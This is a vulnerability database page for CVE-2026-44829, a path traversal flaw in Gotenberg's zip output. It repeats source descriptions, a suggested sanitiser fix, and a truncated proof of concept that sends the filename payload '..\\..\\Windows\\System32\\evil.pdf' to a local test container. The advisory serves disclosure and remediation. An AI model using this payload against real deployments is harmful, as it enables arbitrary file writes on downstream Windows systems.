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CVE-2026-44829

Gotenberg: Path traversal in zip entry name via Windows-style separators in upload filename

8.8 HighFix available

CVE-2026-44829 is a high vulnerability (CVSS 8.8) in Gotenberg, published May 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.50%, the 43rd percentile. Fixed in github.com/gotenberg/gotenberg/v8 8.33.0.

Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives sanitization. The original filename flows through ctx.diskToOriginal and the multi-output PDF routes into archives.FilesFromDisk and archives.Zip.Archive as the generated zip entry name. A remote attacker can submit a name such as ........\Windows\System32\evil.pdf through an upload or an upstream downloadFrom Content-Disposition header, and a Windows archive extractor can write the resulting file outside the intended extraction directory. The affected paths include /forms/pdfengines/split and other multi-output PDF, LibreOffice, and conversion routes, and exploitation can cause arbitrary file writes on a downstream Windows system when a user or process extracts the returned archive. This issue is fixed in version 8.33.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
Low
Integrity
High
Availability
Low

Exploit likelihood

0.50%Up 0.5 points since Jun 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.8

Gotenberg: Path traversal in zip entry name via Windows-style separators in upload filename

Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives sanitization. The original filename flows through ctx.diskToOriginal and the multi-output PDF routes into archives.FilesFromDisk and archives.Zip.Archive as the generated zip entry name. A remote attacker can submit a name such as ........\Windows\System32\evil.pdf through an upload or an upstream downloadFrom Content-Disposition header, and a Windows archive extractor can write the resulting file outside the intended extraction directory. The affected paths include /forms/pdfengines/split and other multi-output PDF, LibreOffice, and conversion routes, and exploitation can cause arbitrary file writes on a downstream Windows system when a user or process extracts the returned archive. This issue is fixed in version 8.33.0.

Record
CVE-2026-44829
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-62427 8.8

Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives sanitization. The original filename flows through ctx.diskToOriginal and the multi-output PDF routes into archives.FilesFromDisk and archives.Zip.Archive as the generated zip entry name. A remote attacker can submit a name such as ........\Windows\System32\evil.pdf through an upload or an upstream downloadFrom Content-Disposition header, and a Windows archive extractor can write the resulting file outside the intended extraction directory. The affected paths include /forms/pdfengines/split and other multi-output PDF, LibreOffice, and conversion routes, and exploitation can cause arbitrary file writes on a downstream Windows system when a user or process extracts the returned archive. This issue is fixed in version 8.33.0.

Record
EUVD-2026-62427
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-hwc4-gmrw-5222 8.8

Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename

Summary

filepath.Base on the Linux container does not strip backslashes (\), because \ is only a path separator on Windows. A multipart filename like ..\..\..\..\Windows\System32\evil.pdf survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. /forms/pdfengines/split). Windows zip extractors interpret \ as a path separator and write the file outside the extraction directory.

Details

pkg/modules/api/context.go:434, 472:

filename := norm.NFC.String(filepath.Base(fh.Filename))

On Linux, filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf") returns the same string verbatim — there are no / separators to find. The original filename then flows to ctx.diskToOriginal (pkg/modules/api/context.go:459, 393) and through pkg/modules/pdfengines/routes.go:287-322 (SplitPdfStub), which builds:

originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))
newOriginal      := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i)
ctx.RegisterDiskPath(newPath, newOriginal)

Finally pkg/modules/api/context.go:617-642 constructs the zip via archives.FilesFromDisk + archives.Zip{}.Archive. mholt/[email protected]/archives.go:155-184 (nameOnDiskToNameInArchive) returns path.Join(rootInArchive, "") — the map value verbatim.

Suggested fix

- filename := norm.NFC.String(filepath.Base(fh.Filename))
+ filename := sanitizeFilename(fh.Filename)
+
+ func sanitizeFilename(name string) string {
+     if i := strings.LastIndexAny(name, "/\\"); i >= 0 {
+         name = name[i+1:]
+     }
+     name = norm.NFC.String(name)
+     // Optional belt-and-braces:
+     name = strings.ReplaceAll(name, "..", "_")
+     name = strings.Map(func(r rune) rune {
+         if r < 0x20 || r == 0x7f { return -1 }
+         return r
+     }, name)
+     return name
+ }

The same sanitiser closes Advisory 8.

PoC

Prerequisite: pip install requests. curl -F filename= mangles backslashes on some shells, so we use Python's requests to deliver the malicious filename byte-perfect.

mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc

docker rm -f gotenberg-audit 2>/dev/null
docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0
i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done

# Stub PDF.
printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n158\n%%%%EOF\n' > stub.pdf

# Step 1: produce a 2-page PDF so /split returns multiple entries.
curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \
    -F '[email protected];filename=a.pdf' \
    -F '[email protected];filename=b.pdf'

# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.
python3 - <<'PY'
import requests, zipfile, binascii
fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf'
files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')}
data  = {'splitMode': 'intervals', 'splitSpan': '1'}
r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data)
print(f'HTTP={r.status_code}  ctype={r.headers.get("content-type")}  bytes={len(r.content)}')
open('split.zip', 'wb').write(r.content)

z = zipfile.ZipFile('split.zip')
print('--- zip entries (orig_filename) ---')
for info in z.infolist():
    print(f'   {info.orig_filename!r}')

# Show raw central-directory bytes to prove backslashes are on the wire:
data = open('split.zip', 'rb').read()
idx = data.find(b'PK\x01\x02')
print('--- raw central-dir hex around filename ---')
print(f'  …
Record
GHSA-hwc4-gmrw-5222
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Weakness
CWE-22
Updated
2026-11-02
NVD 8.8

Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives sanitization. The original filename flows through ctx.diskToOriginal and the multi-output PDF routes into archives.FilesFromDisk and archives.Zip.Archive as the generated zip entry name. A remote attacker can submit a name such as ........\Windows\System32\evil.pdf through an upload or an upstream downloadFrom Content-Disposition header, and a Windows archive extractor can write the resulting file outside the intended extraction directory. The affected paths include /forms/pdfengines/split and other multi-output PDF, LibreOffice, and conversion routes, and exploitation can cause arbitrary file writes on a downstream Windows system when a user or process extracts the returned archive. This issue is fixed in version 8.33.0.

Record
CVE-2026-44829
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Weakness
CWE-22
Updated
2026-11-02
OSV 8.8

Gotenberg: Path traversal in zip entry name via Windows-style separators in upload filename

Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives sanitization. The original filename flows through ctx.diskToOriginal and the multi-output PDF routes into archives.FilesFromDisk and archives.Zip.Archive as the generated zip entry name. A remote attacker can submit a name such as ........\Windows\System32\evil.pdf through an upload or an upstream downloadFrom Content-Disposition header, and a Windows archive extractor can write the resulting file outside the intended extraction directory. The affected paths include /forms/pdfengines/split and other multi-output PDF, LibreOffice, and conversion routes, and exploitation can cause arbitrary file writes on a downstream Windows system when a user or process extracts the returned archive. This issue is fixed in version 8.33.0.

Record
CVE-2026-44829
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-hwc4-gmrw-5222 8.8

Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename

Summary

filepath.Base on the Linux container does not strip backslashes (\), because \ is only a path separator on Windows. A multipart filename like ..\..\..\..\Windows\System32\evil.pdf survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. /forms/pdfengines/split). Windows zip extractors interpret \ as a path separator and write the file outside the extraction directory.

Details

pkg/modules/api/context.go:434, 472:

filename := norm.NFC.String(filepath.Base(fh.Filename))

On Linux, filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf") returns the same string verbatim — there are no / separators to find. The original filename then flows to ctx.diskToOriginal (pkg/modules/api/context.go:459, 393) and through pkg/modules/pdfengines/routes.go:287-322 (SplitPdfStub), which builds:

originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))
newOriginal      := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i)
ctx.RegisterDiskPath(newPath, newOriginal)

Finally pkg/modules/api/context.go:617-642 constructs the zip via archives.FilesFromDisk + archives.Zip{}.Archive. mholt/[email protected]/archives.go:155-184 (nameOnDiskToNameInArchive) returns path.Join(rootInArchive, "") — the map value verbatim.

Suggested fix

- filename := norm.NFC.String(filepath.Base(fh.Filename))
+ filename := sanitizeFilename(fh.Filename)
+
+ func sanitizeFilename(name string) string {
+     if i := strings.LastIndexAny(name, "/\\"); i >= 0 {
+         name = name[i+1:]
+     }
+     name = norm.NFC.String(name)
+     // Optional belt-and-braces:
+     name = strings.ReplaceAll(name, "..", "_")
+     name = strings.Map(func(r rune) rune {
+         if r < 0x20 || r == 0x7f { return -1 }
+         return r
+     }, name)
+     return name
+ }

The same sanitiser closes Advisory 8.

PoC

Prerequisite: pip install requests. curl -F filename= mangles backslashes on some shells, so we use Python's requests to deliver the malicious filename byte-perfect.

mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc

docker rm -f gotenberg-audit 2>/dev/null
docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0
i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done

# Stub PDF.
printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n158\n%%%%EOF\n' > stub.pdf

# Step 1: produce a 2-page PDF so /split returns multiple entries.
curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \
    -F '[email protected];filename=a.pdf' \
    -F '[email protected];filename=b.pdf'

# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.
python3 - <<'PY'
import requests, zipfile, binascii
fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf'
files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')}
data  = {'splitMode': 'intervals', 'splitSpan': '1'}
r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data)
print(f'HTTP={r.status_code}  ctype={r.headers.get("content-type")}  bytes={len(r.content)}')
open('split.zip', 'wb').write(r.content)

z = zipfile.ZipFile('split.zip')
print('--- zip entries (orig_filename) ---')
for info in z.infolist():
    print(f'   {info.orig_filename!r}')

# Show raw central-directory bytes to prove backslashes are on the wire:
data = open('split.zip', 'rb').read()
idx = data.find(b'PK\x01\x02')
print('--- raw central-dir hex around filename ---')
print(f'  …
Record
GHSA-hwc4-gmrw-5222
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Weakness
CWE-22
Updated
2026-11-02
OSVGO-2026-5443 No score

Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename in github.com/gotenberg/gotenberg

Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename in github.com/gotenberg/gotenberg

Record
GO-2026-5443
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/gotenberg/gotenberg/v8
Go
 through 8.32.0
8.33.0
github.com/gotenberg/gotenberg/v8
Go
 before 8.33.0
8.33.0
github.com/gotenberg/gotenberg/v7
Go
 All versions None known
govulncheck-vulndb
openSUSE:Leap 16.0
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
WhenChangedSources
2026-11-02createdCVE List, EUVD, GitHub Advisories, NVD, OSV

References

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